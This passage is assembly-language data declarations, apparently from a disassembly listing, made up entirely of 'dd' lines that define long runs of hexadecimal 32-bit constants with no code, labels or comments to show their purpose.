dd 38070055h, 84860B88h, 730094F5h, 0A5BC9E21h, 0B9BB5Ch
dd 33F66A54h, 0CD6B64E8h, 9743C90Eh, 0B02C2034h, 3ED93BB2h
dd 0B10039DBh, 7518BE9Ch, 2B00D808h, 65C8928Dh, 3D59429Bh
dd 2E801A60h, 9E3F19EBh, 67004EEAh, 0D6B2BBCBh, 0BD56CB3h
dd 9B88B661h, 609EC427h, 0AB402297h, 39826A00h, 87DB6EFBh
dd 20351F5Ah, 7F6C004Fh, 542413CBh, 80218A3Eh, 6320144h
dd 0EA9BE335h, 889600A1h, 83610C2Ah, 0E400DFB3h, 1497A848h
dd 765F3D8h, 0C53C38C8h, 0FCEF001Ah, 9200B560h, 0E910ECADh
dd 5B837Ah, 0A4AB0DC3h, 0D9CE64ACh, 0C6F591Dh, 350B98EAh
dd 0EC18DCh, 74B1EB0Ch, 8530007Eh, 4006F487h, 0AB00B80Bh
dd 14606322h, 11B35h, 6973F009h, 4A7A0634h, 307D47Fh, 0C0BE3C2h
dd 83DB474Fh, 0F1F2F350h, 1A710FD6h, 0A000FB3Ch, 5E749BE2h
dd 99CF0D03h, 0C0C125E0h, 0FBA8E4Dh, 711B6909h, 0EF83138Fh
dd 0C9E08985h, 21005123h, 3D49F53h, 16046Bh, 74DA73E9h
dd 1C8C29B9h, 10F7F200h, 9564B14h, 39C3002Ch, 9093132Fh
dd 5098AFA5h, 0DD38B71Dh, 0CD4C5280h, 0EA71A2h, 0AE2BFDA0h
dd 447842BFh, 48B4CF00h, 410D1AE3h, 9DB10313h, 3120909Ch
dd 0ACD3E8A0h, 34123B7Bh, 640EDDBFh, 0F61EC08Bh, 489B941h
dd 0CD1F0590h, 55C0C02Fh, 0E400528Fh, 0E785FB91h, 0D37C3Eh
dd 94386381h, 1F02C66h, 0C2008798h, 73EEAFB9h, 9DB6D35h
dd 80763B96h, 729FA4C8h, 0FC994916h, 3C22A207h, 0CA80C049h
dd 0F8294D92h, 0F5DF4200h, 16903351h, 3272ED00h, 7C22C698h
dd 92D00CFh, 0CCF0D5B1h, 66B06AA8h, 0E65C4Ch, 4A785FF8h
dd 7DC9241h, 0B8556C45h, 0B63A1097h, 70000430h, 96F38C16h
dd 0EDA463h, 0F27B03E0h, 4F7CDF6Bh, 0EA824E07h, 43E1FF61h
dd 7DE0E674h, 79E5009Eh, 0BA2C3007h, 0E0FDAA2h, 0EEF44246h
dd 7F45617Eh, 1C34B6D7h, 3120383h, 0FDBBCEAFh, 53B6990h
dd 9F849700h, 0D9F9B3A5h, 587BC8h, 38A94926h, 0C6640418h
dd 5C12D707h, 4B80E7C0h, 3781A3Fh, 0CEB79E20h, 1FB01EDFh
dd 142601A0h, 20324EAh, 98888DE2h, 3C65F2h, 3AB77881h
dd 6703B980h, 9D1F9800h, 0AF47799Fh, 7FFE002Ch, 237D4A65h
dd 0CC009231h, 0DEFCC42Dh, 9681996Ah, 3C2A87D4h, 0BFCC4AA5h
dd 0DB263E00h, 40B59BDCh, 0FFF8671Ch, 5785A540h, 1CF41258h
dd 0C09F1455h
dd 8B7D6DBBh, 2500BC69h, 6DFFC3Ch, 12734E89h, 3AE3E2h
dd 587A63C5h, 740FD691h, 6099BF56h, 78B0855Eh, 0A6920037h
dd 0C401C9CEh, 0FE00CC21h, 0C3E45F80h, 367304Eh, 0BDD8BA14h
dd 80B7F508h, 0F298819Ch, 94C5891Ch, 0F8C3D4C0h, 129E4Ah
dd 1F7170CDh, 7CC6055Ch, 7EDA9400h, 0FA756A95h, 0A1D20086h
dd 26D38420h, 4B0110FEh, 7147F22Fh, 8851DA75h, 0C820082Bh
dd 0E31D0045h, 0ED20B2A2h, 14077F9Eh, 135E782Eh, 0FE75DBD0h
dd 80DA009Dh, 928F4438h, 341F5ACFh, 0C300DF8Bh, 7B6F4D19h
dd 475E2C39h, 57380084h, 0AB7A4CB8h, 4A29BCA0h, 0EFA03013h
dd 180D6400h, 9AE179F5h, 163A056Ch, 2068B505h, 89AC82C8h
dd 0A8DD1E28h, 4C00CCF0h, 70E0C09Eh, 1F0D2Bh, 79FB204Eh
dd 926FBC6Ch, 29C73800h, 73F86493h, 0C5B018EBh, 0F97EDECDh
dd 0F4725E09h, 9A8D802Fh, 7A75BDh, 67479954h, 733C1912h
dd 7452B51Fh, 0F69B890Eh, 1A34FA00h, 24B11F46h, 71DAD3Eh
dd 9363143h, 0A151EF80h, 0E6005570h, 66D5C5A6h, 1CE88BD1h
dd 0F3ECCE1h, 0D94340E2h, 0A0F77FA4h, 5B05A7B4h, 98836C24h
dd 79885607h, 24199330h, 37A000B9h, 0B11707FDh, 1C0092B0h
dd 0BC189D20h, 8BFB43h, 0BB850684h, 0F511CA3Bh, 0DB86FC00h
dd 0FDCC465Dh, 67DA24A9h, 0ED6F006Ch, 1814A1F8h, 84EFF100h
dd 0B51E6AB0h, 98E0FBh, 57B943FEh, 71523C7Fh, 0D0C2B700h
dd 0A9B0445Ch, 475A3F4Fh, 36DA4ACh, 0D2FF82EAh, 507ADEE0h
dd 950AC916h, 494E6007h, 6D704401h, 983D5030h, 30410070h
dd 618964EDh, 133CEE34h, 0A951005Dh, 1FF6CC9Bh, 9DD0048Ch
dd 0E0867C20h, 0F81FAEC8h, 580068DAh, 8E3AFFF9h, 672000Eh
dd 0D0C6641h, 1D3CFAD3h, 1F8081F8h, 96F76912h, 85F1E0h
dd 9F6595C0h, 0B6053513h, 222D4D00h, 53DCD778h, 0CC1F2E9Bh
dd 0EDA70733h, 36D80B1h, 0C607D54Ah, 0CAA5E082h, 9AAD850h
dd 2BEF642h, 69251867h, 0A8A0D32Bh, 0E9FD1664h, 88274300h
dd 0F8783ACCh, 1E08EA0Bh, 0A6A157BFh, 0A9D600E0h, 0CDF64FECh
dd 47749505h, 5BC0E0CFh, 3DFBC3B5h, 0DA3A2ED5h, 0CD57820Fh
dd 84BB6AC0h, 1D7D27C8h, 83E7E33Eh, 0BE589B38h, 7587A845h
dd 17F93B02h, 0EE4EFE84h, 63A780C1h, 85FE345Ch, 12682F5Dh
dd 30C09BE9h, 5F066Bh, 51151DB8h, 0CBA168D1h, 1A87EC00h
dd 6A889D32h, 0F0D9817h, 79474D40h, 58CED61h, 0F0F2E8A8h
dd 0EB3AA700h, 0BE4A2DAFh, 31380211h, 9299F88h, 0B7804C8h
dd 1FC72094h, 0B7AA62F0h, 0FFF500C1h, 250477BEh, 98122D45h
dd 0F401EE76h, 0AB3C120Eh, 1AA3F740h, 185261A7h, 0E0CBA5E6h
dd 0A10091C8h, 5E54B8ECh, 7CE59907h, 49A20093h, 2CBE5A50h
dd 920083E7h, 9C46E6ACh, 5E3129h, 0BFF26236h, 0E5183EB6h
dd 4BC5F300h, 0D5565D09h, 3FAF0025h, 24D79011h, 0D41E9D29h
dd 0C91F8A4Fh, 0E9E12782h, 4AF9E0C3h, 6B73005Eh, 0A5EE2967h
dd 0C0570E3h, 0BADA72A7h, 1E4AE8E0h, 0DDF27737h, 4527409Ch
dd 4FB5FF6Eh, 0C55F0B00h, 3B6DFE4Ch, 7CDBFC69h, 70ED008Ah
dd 20EF36EAh, 6701D1AAh, 0D2A97C95h, 6AC41556h, 931D005Eh
dd 7DBC3124h, 6F04FD21h, 0CAC90179h, 0A4150EAAh, 8059D884h
dd 34DD0790h, 0F6EC5B00h, 5E35582Ah, 0A1A700C4h, 6D038E29h
dd 0FC006E6Ch, 0A3544FB4h, 3D23E3CAh, 0F192D8FAh, 74D40052h
dd 95FEC7DEh, 0A0D4B300h, 43C56D0Eh, 864F3A6Fh, 49EA7680h
dd 0D6BF1BCFh, 7944D402h, 0C07B918Fh, 233443h, 0BA13A781h
dd 0AEAA8CB9h, 72B36C01h, 3198E036h, 4F951424h, 0C86C30CFh
dd 0B0F0FC8Ch, 0E7EEF609h, 0AF0C2069h, 24A1C135h, 0F9F915h
dd 0E13997A8h, 93F4DC8h, 37118C6Fh, 13BA613h, 607B845Ah
dd 0E8CE636Ch, 0D31D505Dh, 0B940A262h, 31F6E8BBh, 0AF3D01F3h
dd 0FE0A6567h, 0C69E3088h, 5A9258h, 6AE21893h, 7B15519Eh
dd 0FE8A3EDDh, 0AEFA0680h, 4954C402h, 610E9C00h, 0EA9B7231h
dd 0BB01F5Dh, 0F5140107h, 0C01CF788h, 0FE1FBBBDh, 0C0C4D56Ch
dd 0B8E03AEBh, 3962018Eh, 9ADB7025h, 1123F8B6h, 3622A803h
dd 0E03F1F0Ch, 0E4A19Ch, 9A78348Ah, 3DE97191h, 0F4169000h
dd 9DC529F3h, 0D5B90026h, 6D0AB61Fh, 0F809E4DCh, 6408C22Eh
dd 3C8B2430h, 0AD813F5Ah, 0A297D2Ch, 4B656068h, 0F57D1AECh
dd 0D076BB8h, 0A4CA468Bh, 91B4A0ABh, 8DFE9Eh, 0F1CBF0B5h
dd 7F528A84h, 0DD0F0100h, 3E543772h, 0F3920748h, 0F7BFC8B6h
dd 0A06D30Bh, 2C28E1B8h, 6AB7D40Fh, 364EE025h, 31D83CEh
dd 335F4A3Eh, 0D2B194F6h, 9F21801Fh, 0F00BE57Eh, 6FC00B1h
dd 0A763EA38h, 0AB0CAA5Fh, 0DE886F7Bh, 0C48700AEh, 0E66AEF4Eh
dd 89725C6Ch, 0A900DDF6h, 0CA94D935h, 2C12BBh, 189AD06Fh
dd 0A614F0EDh, 356C0E00h, 97BF02C0h, 46950F30h, 0CDA0E5B9h
dd 57DBAD27h, 0D543C06h, 16488DE7h, 0C05A1C0Ah, 6813DAC4h
dd 1AF4C0Eh, 0D903E4A8h, 7288CCCh, 0A6B561B4h, 0CE97D0EAh
dd 0B9007051h, 0F1383921h, 1C8D7ADFh, 400E89CFh, 8855BF5Fh
dd 731E7B31h, 4019D52h, 32E94050h, 0A4004829h, 4B0E5FB9h
dd 85C7707h, 0FD4338C9h, 809391CFh, 0AB3EB822h, 1B10039Eh
dd 5DB603B7h, 0E50CAD80h, 9BAA180Eh, 2E1D4080h, 34DA04Ah
dd 5F2B297Fh, 69055611h, 5EC72A95h, 0FC687418h, 8D2601B3h
dd 2A92114Fh, 0DC10429Fh, 0EA0CF000h, 0CB45021h, 560A37E2h
dd 0B7258050h, 0A32D717Eh, 599C80D8h, 0DD6D6Eh, 9AD2AE12h
dd 92E6625Dh, 3E7CE4EBh, 1B233600h, 0F0E2AA0h, 707F00FBh
dd 0E2A75B16h, 0D6007DCEh, 648FD991h, 0BC3E02h, 27129C90h
dd 0EE1D38B5h, 0E8285B03h, 0F89859C9h, 39BF8DADh, 73005E3Ah
dd 1083F512h, 1F003CA3h, 96514156h, 479586h, 94D01163h
dd 0DE985E1Eh, 3F619A1Fh, 27756BCFh, 0B857773Dh, 0CD9DA830h
dd 0D4E00A5h, 37C9E68h, 0D8004AD6h, 0CBD01E25h, 0FC623Fh
dd 0A9AD8E1Ch, 0B0F43E68h, 9775BE01h, 0BC0898E1h, 1CC3C2C4h
dd 13B73643h, 1097FFh, 2BA2215h, 497C0F05h, 0D0081F2Ah
dd 124D00EBh, 0EB546DDh, 239DCE00h, 7996C203h, 0BF5D0299h
dd 67F1B12Eh, 0C0921321h, 77B08CCh, 0D3F05F34h, 21EC4607h
dd 0C0BDA400h, 0D4A6B993h, 0DD260072h, 40F1B755h, 730E4BABh
dd 81605D6Dh, 0ED75A05Fh, 2D3C432Fh, 53C0B6B3h, 0D90EBE4Dh
dd 97D76018h, 5ADA68D0h, 0E75C00A9h, 2C5E4C1h, 513B2169h
dd 8641818Dh, 755D9855h, 203A8992h, 9C5C3974h, 3088B300h
dd 0A40927BAh, 0C42F465h, 7213203h, 0A80F36E8h, 805A4895h
dd 6133ECFDh, 40AF00ACh, 735FD6AEh, 631CE15Ch, 6E5E314Fh
dd 9547880h, 171566DAh, 0C97E9h, 76F60812h, 7100A623h
dd 46FE9103h, 0EDE3F95h, 0AB4165Eh, 680051ABh, 0BD57AC7Eh
dd 39A3BE3Eh, 0F14980F4h, 0F2F6E55Ah, 0D96E00D3h, 12CDF5B5h
dd 0F706EFDCh, 9FD49B0Bh, 78410008h, 0E5C53F25h, 470F7A86h
dd 20D27E59h, 490A3E9Fh, 0CA610169h, 0C2FFE88Fh, 137E95Ah
dd 0BA1F36E5h, 67CEAB04h, 83C03F2Bh, 6D5E4CA7h, 1ABCC91Fh
dd 0F3EB6300h, 861C25h, 87A9E7D6h, 0BFE8815Fh, 0C63BBC00h
dd 62918D12h, 291562C9h, 4E22E48Ah, 13A22295h, 64387D21h
dd 0AF107E02h, 86E8994h, 70EF208Ah, 10E59222h, 21BC0F4Fh
dd 0F4F208AAh, 88242688h, 968866C0h, 0FD338C11h, 28A21AA1h
dd 29118163h, 6576C032h
dd 64E51E9h, 0A19EDA14h, 5128FE50h, 4022F544h, 0E20FE8E6h
dd 0E03C0BBAh, 10A52C77h, 7ADB1F28h, 56A44037h, 0B665BFF7h
dd 20F04300h, 7F3F71CDh, 644D0058h, 0E14A091Ah, 991D9234h
dd 0E780DF97h, 5E0D2296h, 586B3F3Bh, 0F7E38B80h, 0C1EBC9C7h
dd 5F4EC600h, 0B3A32E85h, 77F6008Eh, 518D24CBh, 9600BC34h
dd 0EED676B5h, 0D262ADh, 0CE690D11h, 0EAC352D0h, 2790FE00h
dd 35445FAEh, 7C34003Ah, 7882E9B4h, 7671190Eh, 7B04FB00h
dd 6AA7A951h, 0B67302EAh, 5DE67CD4h, 3E44C380h, 7E007A14h
dd 1C6E5694h, 6407C8h, 0E3E8DB25h, 0C4143F93h, 110095E8h
dd 9C54AAF6h, 77872D38h, 0F3C90D7h, 83405E12h, 0DC496060h
dd 0B700F553h, 0A921A787h, 0B5F1BDh, 0C13332CFh, 16EE9B26h
dd 619CAE09h, 0A9A380A1h, 1C10B4DFh, 42EC19h, 0B854F169h
dd 3D01FE31h, 2A5D7C6Bh, 7180BA1Eh, 32DD61A1h, 5400E880h
dd 241CD381h, 3B36250h, 3CE17812h, 7800A811h, 0C449F9E5h
dd 267E8h, 0BBC2FC77h, 0C7DB6BC3h, 5D1DAD00h, 0B5F3D1A7h
dd 8C1F0747h, 0D0EF0E5Ch, 7CDA8152h, 0DD1D9700h, 71CCD2F2h
dd 8AE30024h, 0FDABF101h, 21303FC4h, 0FCA3DCAAh, 9B0D00A6h
dd 83865306h, 1900C769h, 681CACCAh, 15A3C35h, 57F7F834h
dd 0C0467E48h, 2F0153DEh, 1EEC54FAh, 0ADFCBA27h, 0E4B4004Bh
dd 88114D5Dh, 0F80748ABh, 6B8C0DAEh, 73125BC0h, 3EFF2A4h
dd 0F5E88AB2h, 1AB83667h, 0E11DAD22h, 9443662Bh, 761563h
dd 7EA8CE42h, 0E044E89Fh, 7F00BDE6h, 0AC6BE75Fh, 7492C2h
dd 42E988B2h, 0B12D0B3Ch, 6F81FC01h, 53EC55F6h, 2E7CC4h
dd 19B093CCh, 0B70CF86h, 1F709448h, 0A600E1EEh, 3BC91468h
dd 60FB00A5h, 0D7B09A7Dh, 5800B801h, 8F56E6EFh, 48BFB90Ah
dd 4100B5F9h, 0CE2EA593h, 21281ECAh, 907FC65h, 277B2A70h
dd 4AC080D5h, 13CBAC72h, 55DE2Ch, 2A747162h, 60923D0h
dd 188467CFh, 0F3B1A4h, 35E58EBDh, 7212D6CDh, 0E3F62C78h
dd 0A60063FCh, 7C182A9Bh, 7548D58h, 0BC0E8FFFh, 556F20AEh
dd 95E69C8Eh, 0F407A000h, 0BA6CE3F9h, 0B701005Fh, 0AC91D76h
dd 0A2F6BC9Ah, 0FF16990Eh, 0E84AA03Dh, 2478EEh, 43278F1Bh
dd 6F7F6B60h, 0A2D37E00h, 0C369D5B2h, 770100E2h, 0E35712BAh
dd 0B6003F66h, 0D762CA22h, 782ABADh, 2CA5CB23h, 5F6710F0h
dd 860042C6h, 2B1D737Fh, 48147B84h, 41002DD2h, 6405531Bh
dd 470092DAh, 9EAC2587h, 1D240BC4h, 6E37958Eh, 2AF40037h
dd 4AAEEE59h, 0DAA8221Eh, 0B373FDC0h, 93A397h, 0D6B92091h
dd 5B5D4E63h, 30ADC00Eh, 0D977C082h, 24368009h, 0B0526Bh
dd 26143306h, 4F0086F8h, 0CE663FFAh, 3F4CA67Dh, 0A98058BBh
dd 0C2827AEFh, 0A3004210h, 0C3043C6Bh, 1F0EB4D8h, 0C05E621Fh
dd 6F51B3F8h, 0C0704FB2h, 0A0124778h, 4100073Bh, 8E96920Ah
dd 0AB40245Dh, 0C2C300E4h, 0E3F06889h, 92CD7F00h, 655A7984h
dd 489600FDh, 28DE2B0h, 289AFFA5h, 0C62D2200h, 12924D4Fh
dd 0D60E00CAh, 0E70F875Eh, 509059BEh, 0E4D8FF00h, 0B38B8939h
dd 18C0045h, 0E29D0A78h, 4F00CEB2h, 0D71F23Fh, 75E37A2h
dd 663C4564h, 6096D031h, 797BB8FDh, 7EA0BC00h, 63703E33h
dd 0DF61008Bh, 43BA4D5h, 180F504Bh, 40172E8Dh, 0F4459D02h
dd 0A15C0AC1h, 3EC728Ah, 7D068938h, 0B75518F0h, 58098600h
dd 4895C1F7h, 3BA2FE31h, 82003D36h, 1E0FE51Bh, 520F7EF3h
dd 0C0379B8Ch, 0F7F68741h, 26D00F0h, 0D72A8E6Bh, 0C3124429h
dd 90414F2Ch, 0E0A2B660h, 67A1FCh, 0BF7D0F04h, 991F726Eh
dd 0C6008DECh, 29EC9D23h, 1F5610B9h, 40979B20h, 19C8E784h
dd 1F00DB12h, 31B46CA5h, 761BEACh, 839CDEEBh, 29F1D014h
dd 0AF003E4Bh, 1CB4EE09h, 1E1D877Ch, 8014D406h, 7F1373BEh
dd 0FB00E7B9h, 0D9BFBA40h, 78E79B3h, 91AFCB43h, 0FC7E405Eh
dd 0F9001BEAh, 73C09F4h, 1558839h, 95462887h, 2E182347h
dd 16B19AA0h, 0F05E6F4Bh, 3D76B64Bh, 0BAA50100h, 0FEF9FAB8h
dd 0B9CD24CCh, 0BB68001Eh, 0E291D34Bh, 9765D200h, 41CB3178h
dd 23AA0FC2h, 7A6005FEh, 99625D67h, 91EF700h, 0AC4980B5h
dd 47040E26h, 41C3ABC1h, 16D078F0h, 390988F7h, 80067018h
dd 93DC4412h, 8F5E0757h, 0F0542C99h, 0DA74AFA3h, 85E2C6ECh
dd 8328C900h, 42B0EB6Ah, 0E7C7004Ch, 96083F90h, 0CB07D64Dh
dd 8886C2D0h, 425F93C0h, 0C3D0046h, 0B8CF8CE6h, 1D000407h
dd 0D36FA75Eh, 35882FDh, 4D79D608h, 14B8F59Dh, 38006134h
dd 65FC2C69h, 72FF359h, 1F9B23BAh, 0A5C1B08Ah, 0E9307857h
dd 0D3BC2A13h, 845D0BCFh, 0F80B917h, 593CDCDDh, 58EE6B00h
dd 50A666E9h, 5A2000C3h, 0B47DA48h, 0A500D410h, 0A4BDF57Ch
dd 801BF4h, 0B413E1C2h, 3EC54516h, 0E692D016h, 0D58C4D00h
dd 0CB67B6h, 541E9CC3h, 319BE494h, 4F76CC00h, 1337054Bh
dd 0B9FE07E7h, 0C33811EBh, 5EE8F2AEh, 8118193Ah, 5830A016h
dd 26DD0FD4h, 1A80494Ch, 12BB0207h, 1D0333Bh, 21953287h
dd 448EFC0Ah, 0E2405CB6h, 980DD8C4h, 0EE40CCFFh, 0B4CDB200h
dd 72D5A114h, 3B910017h, 21B848DBh, 6A7A8E69h, 39393277h
dd 76CE0040h, 0B12A9E42h, 8A58005Ch, 0B9C6D274h, 7C1CA980h
dd 881F22Fh, 0FE55E459h, 3BBFC0h, 0C18C6E2Ah, 77F93E9Bh
dd 6F92DD1Dh, 7B40B6C0h, 3B0BA854h, 808007CCh, 0B0D0AE14h
dd 0FB00D3E6h, 876088FAh, 86CDEAh, 0F74D75A2h, 10F11777h
dd 3B0C4101h, 383D8AF5h, 0C532A70h, 887708C6h, 150059E0h
dd 0C1DB2639h, 0E580E3h, 0AC844755h, 499E5C04h, 0A499FB00h
dd 40C22834h, 8D6900E0h, 0ED7FF073h, 14010747h, 49BB8B67h
dd 7871540Bh, 34B5FFCh, 0A879306Bh, 219395D1h, 0D98198A0h
dd 0C71C7EE4h, 3F80B6F1h, 6F15E4A6h, 3B4B0153h, 8D4FFE03h
dd 2DEDC8D5h, 1A3F9400h, 3A91C435h, 0B716074Dh, 80C379B2h
dd 1FDC27A5h, 0A8DFFD00h, 0B4A7EA46h, 9B4000AAh, 31CE425Bh
dd 53019039h, 6CCCDC3h, 45FC6324h, 93D00E55h, 0B036FBC2h
dd 7400C680h, 0BB0E41F8h, 45EBE7h, 2732625Bh, 0F6FE7E46h
dd 3B3FED00h, 29B2F05h, 0C284009Fh, 16BA1103h, 0CD008EF0h
dd 0D41F8A5Dh, 98420Ah, 0AF6F8D06h, 0FCE98C43h, 873B5A24h
dd 0FCA91Eh, 498B31A2h, 118E57h, 1C25D0A5h, 71E4F2DCh
dd 96E267B8h, 0ABE9CB02h, 60FD2D80h, 33DCAB6h, 4CC68307h
dd 8FB89170h, 0E9B822A2h, 28142D00h, 0A340AC3Ah, 2B900F37h
dd 0BC60E120h, 0C41018AAh, 8DCCCF03h, 0C728734Bh, 0EBF42F60h
dd 49C3018Eh, 0DCB6D1E6h, 39708F63h, 0F0CC4093h, 2E9DC5h
dd 838E53B7h, 811C4C57h, 8135773Dh, 38159870h, 0C2D4A43Fh
dd 9ABF068Eh, 0CC497961h, 52B22F00h, 805D407Ch, 6BE8018Ch
dd 4BEAE5D1h, 0A868BAFFh, 81036CE2h, 0F71E5E72h, 2FD9C8C9h
dd 0D49F2616h, 8B8C004Ch, 0E271FDF0h, 7DA53Dh, 586274FAh
dd 0CB1727h, 359E8D38h, 66230E44h, 0CCFCA700h, 107C3A9h
dd 306F03F8h, 1448D8FEh, 9BDE1809h, 0ADC58099h, 20BEF42h
dd 0F15EE715h, 9EC08393h, 3C00DBF4h, 0A5A17520h, 9E24D1h
dd 5E7670FBh, 887BAFE0h, 6F9D5603h, 71393E83h, 334D00D0h
dd 0ABECC4DAh, 0AE009B96h, 3082566Ch, 6E75B6h, 0CD2D88F3h
dd 0F7B35DA0h, 0E7A40C00h, 7EB6AADBh, 0B5540078h, 8B943305h
dd 7A016BA0h, 0DA43FC15h
dd 0C340C7Fh, 4D1624DEh, 0B17D0324h, 0FDB0C3E1h, 8B50C141h
dd 9F73BBE9h, 9EDBAA00h, 1D9780Eh, 653B007Fh, 3520D189h
dd 98009D45h, 3F31D462h, 14B09D0h, 57F90F36h, 0F8102EAEh
dd 92000C7Eh, 0DBC38185h, 0DA7D53h, 0A3F208B9h, 317C1A5h
dd 266320C0h, 0EA7716h, 191AB7DFh, 1F27E156h, 7DD8BD07h
dd 0DE00963Bh, 3FEE9BBFh, 4700689Ah, 0DA299165h, 2E38F37Dh
dd 0F7941DE3h, 6A74A400h, 488B2396h, 73004446h, 83D74F30h
dd 0C1304E7Eh, 325EF0B7h, 0FAB100E2h, 4599AED2h, 142085BEh
dd 30CE000Ch, 245CD5ADh, 0D0005331h, 226C988Eh, 3B513D4Bh
dd 0FFA67A89h, 0B7540030h, 53F8EF17h, 7B4E300Eh, 8BCFA0D7h
dd 44675Ah, 0CD3E2349h, 5672EDF3h, 0B873E000h, 0C02EB317h
dd 75910750h, 402C438Bh, 935AC762h, 0F5528200h, 34892380h
dd 86391DB2h, 712C8066h, 28D1CBDAh, 5243858h, 3ED77A9Eh
dd 6D4F8B80h, 8A01F64h, 1B5F40ADh, 0FBB3F5EEh, 0E62D3Fh
dd 6973218Eh, 0B9619Ch, 637E137Fh, 0D49DA402h, 0E6C13604h
dd 0C0AE4EF7h, 93ACA393h, 16C4971Ch, 79FBF3C0h, 304A75h
dd 0F5659F4Ch, 6FE51DCCh, 5EEA160Eh, 2BC1A0E6h, 6D12D1Bh
dd 0BB41E2F3h, 0A6E678F7h, 804F0B38h, 0D0F946B6h, 7B4CCFh
dd 4E47EFD9h, 5D3F1B38h, 0B912F390h, 8841BDA7h, 1A6E3AFh
dd 2D1420h, 26EB070h, 20D22F5Fh, 54F60400h, 0AB3412B2h
dd 0E8ECA0B6h, 33240C2Ch, 4100818h, 0EE4C1F00h, 9CC7411h
dd 0C8C705F3h, 0E46D91Eh, 796057ECh, 0F00F4526h, 2B1D9507h
dd 0C230B82Ah, 12929C85h, 0DF833Dh, 1D5C4360h, 31C9AAFh
dd 57C7BBDDh, 9F73E81Ch, 60B0003Eh, 0A5297EE0h, 0F0260C0Eh
dd 8400997Bh, 0C8975419h, 0C314004Eh, 0FD40EC8Eh, 0A3B1713h
dd 4A7F00FEh, 4592A381h, 3852FED5h, 0CC0901B7h, 0E0031BA5h
dd 0F8E09E7Ah, 25E8F771h, 1FD9D0Eh, 23960B47h, 0E87CE61Ch
dd 4A0449F6h, 3C25F846h, 1007572h, 25F20782h, 3F6EC8h
dd 0A58E3EBCh, 63C64696h, 2F9C291Eh, 0E0D83686h, 0D2CD02C8h
dd 0F1D62F9h, 0A2848840h, 0FEFC391Fh, 3C00771Eh, 13AC02BAh
dd 4911486Fh, 98170600h, 9CCE5C56h, 0B119A71Dh, 0F41D6740h
dd 0ACA9FEh, 1C5ED577h, 94CFF945h, 0E95CDA7Eh, 602F0148h
dd 557E3392h, 767B32C0h, 4CD7B9Bh, 73FD15C3h, 3D0880BFh
dd 0B504CA9h, 930010ECh, 9C41B66Ch, 0F08DF8A3h, 0FE0D2A80h
dd 0E4F702FCh, 0F07951EEh, 4ACA4468h, 1262ED00h, 441FC052h
dd 0E50E00DBh, 0FF34F61Ah, 0EC0BB671h, 80A32BC8h, 56776904h
dd 868500FDh, 7F9FE36h, 0F40063D8h, 0B9830CC2h, 0A3934F2Bh
dd 4580BC98h, 0C1E312h, 0E22E5B98h, 69F76632h, 0BC342B28h
dd 0FDE17801h, 0A18F9E45h, 1D4A1DDCh, 0C2239573h, 0DC477FABh
dd 0FD026440h, 0C952608Ah, 3A5D00D1h, 7582A820h, 1F0F6F30h
dd 0A0919FCCh, 0C11CE459h, 57B82Fh, 0C70385C9h, 0DE9B7472h
dd 15C23602h, 80326DECh, 0A44684A0h, 96F8FBBDh, 2F7C0738h
dd 0F953FBD8h, 5707A880h, 490368AAh, 64D7819Bh, 69FC80E8h
dd 1C7539F9h, 5B15BC03h, 503E34B3h, 1F484953h, 0FB40E510h
dd 18ADBEEh, 0E798A0D2h, 0BCAE00A6h, 5129D830h, 5D019FB9h
dd 31B385C3h, 0CC403DDAh, 2275578h, 6E79B153h, 0CC8E160h
dd 3A007C0Eh, 0D1507539h, 0C534AB6Fh, 80E10D18h, 0FAC77F8Ch
dd 8002613Ah, 0D580E563h, 2598ADh, 0CF46AB73h, 0BD6AACA0h
dd 0F02DEE4h, 60DC24CBh, 4EB8E0E3h, 0D77100F3h, 97A662A9h
dd 6D0790B8h, 0EB72D4AFh, 37A5CEC0h, 0B7F651h, 93973048h
dd 17AADF69h, 2488EB00h, 2312DAD7h, 3F2B0009h, 54C86EF8h
dd 1A00EC2Fh, 1EE41956h, 0E8B6A063h, 7A0D00F2h, 2289CFEBh
dd 6D2698D7h, 0A901E8D4h, 32F5C241h, 48F97AC0h, 6712C8F7h
dd 734C20DBh, 0FA01F5B0h, 6258830Dh, 5430C170h, 0A36073Ch
dd 306A114Bh, 7A6B831h, 2B85382Eh, 982ED402h, 41E8687Eh
dd 457F006Ch, 0C5D27269h, 0ED3EE317h, 0EFC9050Ch, 0D800D188h
dd 56A73C2Dh, 83DC1530h, 7D00C422h, 962E90C7h, 7173C91Bh
dd 6842E71Fh, 8E16A780h, 7D7A69h, 0D14AB646h, 34A4B887h
dd 7F3B3Fh, 0FD73C29Ch, 0B8F27D9Dh, 2C709D8h, 3C40CF33h
dd 8D004C19h, 0F4C43E7Ch, 71C373FCh, 3C264D52h, 94067900h
dd 15EF5604h, 5B76D898h, 0E5FEB600h, 0A40D0F92h, 85DA00BFh
dd 0C06CE0Bh, 187DB78Ch, 0E68FC400h, 0A0CCFA3Dh, 0D3B3182Fh
dd 0B0ED10E7h, 0AD731A00h, 0F842A670h, 109818DCh, 1361A0A5h
dd 88CC7228h, 0BE7EB713h, 0A88C7800h, 1B30319h, 0CA9DCE9Ah
dd 20D5EF5Ah, 0D9005ECCh, 31264D0Ah, 193535Bh, 68CCACDAh
dd 0D8898188h, 5D28701Ah, 5100F8CEh, 5AE8BA56h, 0B179C8h
dd 5F01077Eh, 14A8D283h, 403A4D6Eh, 3F84E5B2h, 0E42C0095h
dd 2E5386CDh, 0A00040C2h, 89830222h, 1429FADh, 0D4A2585Dh
dd 30869296h, 43003844h, 828790FFh, 78954B16h, 8CD33CB4h
dd 7024205Ch, 0AD750018h, 430347E1h, 6E00D773h, 733D58FEh
dd 164BD05Ch, 9F50BFh, 61B6A8E7h, 8600239Eh, 161CED90h
dd 0F36A4270h, 0EFD0460h, 7611A2D1h, 878763A7h, 2CEFC053h
dd 0F4E48EE6h, 2B52170Ah, 8738BF28h, 86631591h, 76A450B0h
dd 499D38A7h, 0BB196780h, 9A6018C8h, 0CCBF5Ch, 0F12410A0h
dd 4D0C69h, 3F20D190h, 1418FEB7h, 58440430h, 6DA360h, 24FC58DFh
dd 0F5CC5B2h, 0C4F1AB00h, 9C4698E2h, 738A0038h, 0BD6E89B1h
dd 2601F4B4h, 32552037h, 6B60CB8Eh, 641E045Bh, 0C091774Bh
dd 0D25868ECh, 0D58D5C0Eh, 8744C093h, 906C4Dh, 0C0DBEC28h
dd 0E495ACCAh, 2A0025FCh, 71BFEDBCh, 90329Ch, 64355AB4h
dd 430F1AF4h, 3C93AF07h, 4261EE97h, 0A4E9C4A7h, 49AE5020h
dd 902701Ah, 4484CB85h, 36002070h, 70AE9031h, 7D4FF306h
